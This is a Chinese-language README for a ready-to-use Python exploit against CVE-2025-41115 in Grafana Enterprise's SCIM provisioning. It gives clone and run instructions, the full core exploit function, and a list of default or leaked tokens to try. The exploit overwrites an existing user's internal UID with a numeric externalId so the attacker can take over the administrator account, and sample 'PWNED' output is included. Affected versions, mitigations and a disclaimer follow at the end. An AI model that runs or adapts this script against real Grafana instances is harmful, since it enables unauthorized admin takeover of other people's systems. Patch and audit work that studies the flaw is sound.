Grafana Enterprise SCIM漏洞利用工具(CVE-2025-41115)
项目描述
这是一个用于演示和验证CVE-2025-41115漏洞的Python利用脚本。该漏洞是Grafana Enterprise中一个关键(CVSS 10.0)的安全漏洞,影响其SCIM用户配置功能。当攻击者能够向SCIM端点发送请求时,可以通过数字externalId参数覆盖现有用户的内部UID,从而实现权限提升和管理员账户接管。
⚠️ 注意:此工具仅供授权安全测试和教育用途。未经授权测试他人系统是非法行为。
功能特性
- 自动化漏洞检测:自动尝试多个默认/泄露的SCIM令牌
- 一键利用:只需提供目标URL即可尝试攻击
- 实时反馈:清晰显示攻击结果和响应信息
- 安全绕过:自动禁用SSL证书验证警告
- 多令牌支持:内置多个可能有效的默认令牌
- 时间戳防冲突:使用时间戳生成唯一攻击者邮箱
安装指南
系统要求
- Python 3.x
requests库- 网络访问目标Grafana实例的权限
安装步骤
- 克隆仓库
sudo git clone https://github.com/B1ack4sh/Blackash-CVE-2025-41115.git
cd Blackash-CVE-2025-41115
- 安装依赖
pip install requests
- 设置执行权限(可选)
chmod +x CVE-2025-41115.py
使用说明
基础用法
# 针对HTTP目标
python3 CVE-2025-41115.py http://target.com:3000
# 针对HTTPS目标
python3 CVE-2025-41115.py https://grafana.company.com
攻击流程
-
脚本会尝试以下SCIM令牌:
- 用户自定义令牌(需手动修改代码)
- 默认泄露令牌(多个常见默认值)
-
如果攻击成功,输出将显示:
- 使用的有效令牌(部分)
- 创建的恶意账户凭据
- 完整的API响应(包含被覆盖的UID)
-
成功后,可以使用创建的邮箱地址和任意密码登录为目标管理员。
预期输出示例
[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: rooted1732212345@pwn.lab (any password) → you are now Admin!
[+] Full response: {
"schemas": [
"urn:ietf:params:scim:schemas:core:2.0:User"
],
"id": "1",
"externalId": "1",
"userName": "rooted1732212345@pwn.lab",
"name": {
"formatted": "Pwned User"
}
}
漏洞条件
目标必须满足以下配置:
- SCIM功能启用:
enableSCIM = true - 用户同步启用:
[auth.scim] user_sync_enabled = true
核心代码
主利用函数
def try_exploit(token):
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/scim+json"
}
payload = {
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"userName": ATTACKER,
"externalId": TARGET_UID, # 关键参数:数字ID会被错误映射为内部UID
"name": {"formatted": "Pwned User"},
"emails": [{"value": ATTACKER, "primary": True}],
"active": True
}
try:
r = requests.post(f"{BASE}/api/scim/v2/Users",
json=payload,
headers=headers,
verify=False,
timeout=10)
if r.status_code in (200, 201):
print(f"[+] PWNED with token → {token[:20]}...")
print(f"[+] Login as: {ATTACKER} (any password) → you are now Admin!")
print(f"[+] Full response: {json.dumps(r.json(), indent=2)}")
return True
elif "Unauthorized" in r.text or r.status_code == 401:
return False
else:
print(f"[?] Unexpected response {r.status_code}: {r.text}")
return False
except:
return False
默认令牌列表
# 内置的默认/泄露SCIM令牌列表
DEFAULT_TOKENS = [
"glsa_11111111111111111111111111111111_11111111111111111111111111111111",
"glsa_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"glsa_00000000000000000000000000000000_00000000000000000000000000000000",
TOKEN # 用户自定义令牌
]
主执行逻辑
if __name__ == "__main__":
if len(sys.argv) != 2:
print("[!] Usage: python3 CVE-2025-41115.py http://target.com")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
print(f"[*] CVE-2025-41115 → Targeting {BASE}")
print("[*] Trying default/leaked tokens + your token...")
# 依次尝试所有令牌
for t in DEFAULT_TOKENS:
if try_exploit(t.strip()):
sys.exit(0)
print("[-] All tokens failed. You need a valid SCIM token (or the target is patched).")
print(" Get one from: Admin → Authentication → SCIM → Generate token")
攻击者身份生成
# 使用时间戳生成唯一的攻击者邮箱,避免冲突
ATTACKER = f"rooted{int(time.time())}@pwn.lab"
TARGET_UID = "1" # 目标UID,通常为管理员账户
受影响版本
| 版本 | 状态 |
|---|---|
| 12.0.0 - 12.2.1 | ❌ 受影响 |
| 12.3.0 | ✅ 已修复 |
| 12.2.1(修复版) | ✅ 已修复 |
| 12.1.3 | ✅ 已修复 |
| 12.0.6 | ✅ 已修复 |
缓解措施
- 立即升级:更新到Grafana 12.3.0或已修复的维护版本
- 检查配置:如果不使用SCIM,确保
enableSCIM = false或user_sync_enabled = false - 审计日志:监控意外的用户创建和权限变更
- 信任边界:仅允许可信的身份提供商访问SCIM端点
免责声明
本工具仅用于授权安全测试和教育目的。使用者需确保:
- 仅测试自己拥有或获得书面授权测试的系统
- 遵守所有适用的法律和法规
- 对使用此工具造成的任何后果承担全部责任
建议所有Grafana Enterprise用户立即检查并应用相关安全补丁。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5ChaGK4dzijQQbdG477RY9